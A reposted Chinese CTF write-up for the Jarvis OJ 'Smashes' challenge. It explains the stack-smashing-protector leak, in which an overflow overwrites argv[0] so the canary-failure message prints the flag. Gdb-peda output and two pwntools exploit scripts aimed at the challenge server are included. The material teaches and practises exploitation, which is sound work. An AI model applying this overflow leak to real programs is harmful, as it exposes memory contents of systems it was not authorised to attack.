Smashes
涉及到一些新的知識,以下爲轉載大佬的一篇博客:
這道題利用是保護機制本身的一種漏洞:
在程序加了canary保護之後,如果我們讀取的buffer覆蓋了對應的值時,程序就會報錯,而一般來說我們並不會關心報錯信息。
而stack smash技巧則就是利用打印這一信息的程序來得到我們想要的內容。
這是因爲在程序發現canary保護之後,如果發現canary被修改的話,程序就會執行__stack_chk_fail函數來打印argv[0]指針所指向的字符串,正常情況下,這個指針指向了程序名。
其代碼如下
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以說如果我們利用棧溢出覆蓋argv[0]爲我們想要輸出的字符串的地址,那麼在__fortify_fail函數中就會輸出我們想要的信息。
總結成一句就是,利用溢出造成報錯從而打印出報錯信息,使報錯信息指向我們想泄漏的地址
要解決這道題,我們首先要找到argv[0]的地址
將斷點設置在main函數,
0000| 0x7fffffffdcf8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0008| 0x7fffffffdd00 --> 0x0
0016| 0x7fffffffdd08 --> 0x7fffffffddd8 --> 0x7fffffffe199 ("/home/zeref/桌面/ctf-pwn-OJ練習題/smashes")
0024| 0x7fffffffdd10 --> 0x100000000
0032| 0x7fffffffdd18 --> 0x4006d0 (sub rsp,0x8)
0040| 0x7fffffffdd20 --> 0x0
0048| 0x7fffffffdd28 --> 0xb7e5e31690436a43
0056| 0x7fffffffdd30 --> 0x4006ee (xor ebp,ebp)
可以看出0x7fffffffe199指向程序名,其自然就是argv[0],所以我們修改的內容就是這個地址。
同時00x7fffffffddd8處保留着該地址,所以我們真正需要的地址是0x7fffffffddd8
接着我們需要找到棧頂到這個argv[0]的偏移,從而方便我們計算出需要填充的字符個數
將第二個斷點設在調用__IO_gets之前(輸入name變量之前)
Breakpoint 2, 0x000000000040080e in ?? ()
gdb-peda$ print $rsp
$1 = (void *) 0x7fffffffdbc0
可以得到此時的rsp爲0x7fffffffdbc0
那麼我們的rsp到argv[0]的偏移就是:
0x7fffffffddd - 0x7fffffffdbc0 = 0x218
然後我們就需要找到flag所在的地址了,因此需要把斷點設置在執行這條彙編之前
.text:0000000000400873 call _memset
gdb-peda$ b *0x000400873
Breakpoint 1 at 0x400873
gdb-peda$ r
Starting program: /home/zeref/桌面/ctf-pwn-OJ練習題/smashes
Hello!
What's your name? qqqqqqqqq
Nice to meet you, qqqqqqqqq.
Please overwrite the flag: aaaaaaaaaa
然後通過find命令去找flag的地址:
Breakpoint 1, 0x0000000000400873 in ?? ()
gdb-peda$ find qqqqq
Searching for 'qqqqq' in: None ranges
Found 2 results, display max 2 items:
[stack] : 0x7fffffffb532 ("qqqqqqqqq.\nPlease overwrite the flag: ")
[stack] : 0x7fffffffdbc0 ("qqqqqqqqq")
gdb-peda$ find aaaaaaa
Searching for 'aaaaaaa' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x600d20 ("aaaaaaaaaas the flag on server}")
[heap] : 0x601010 ("aaaaaaaaaa\n")
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 1 results, display max 1 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")
可以看到,0x600d20的地方已經被aaaa所覆蓋,而0x400d20的地方仍然是“PCTF{Here's the flag on server}”
說明這個地方是不會受影響的,而這個地址就是我們希望可以被報錯輸出的flag
exp如下:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p=process('./smash')
p=remote('pwn.jarvisoj.com', 9877)
argv_addr=0x00007fffffffddd8
name_addr=0x7fffffffdbc0
flag_addr=0x600d20
another_flag_addr=0x400d20
payload = 'a'*(argv_addr-name_addr) + p64(another_flag_addr)
p.recvuntil('name?')
p.sendline(payload)
p.recvuntil('flag: ')
p.sendline('bb')
data = p.recv()
p.interactive()
其實還有第二種操作
第二種操作更簡單,直接瘋狂填充另一個flag的地址,暴力地把argv[0]的填爲另一個flag的所在地址:
from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
#cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*200)
cn.recv()
cn.sendline()
cn.recv()
作者:23R3F
鏈接:https://www.jianshu.com/p/6afc68389901
來源:簡書
著作權歸作者所有。商業轉載請聯繫作者獲得授權,非商業轉載請註明出處。
參考鏈接:https://blog.csdn.net/github_36788573/article/details/80693994
https://www.jianshu.com/p/76b7d51b20fc
收貨:SSP(Stack Smashes Protect) leak 指路鏈接:https://www.jianshu.com/p/b0b254b94afe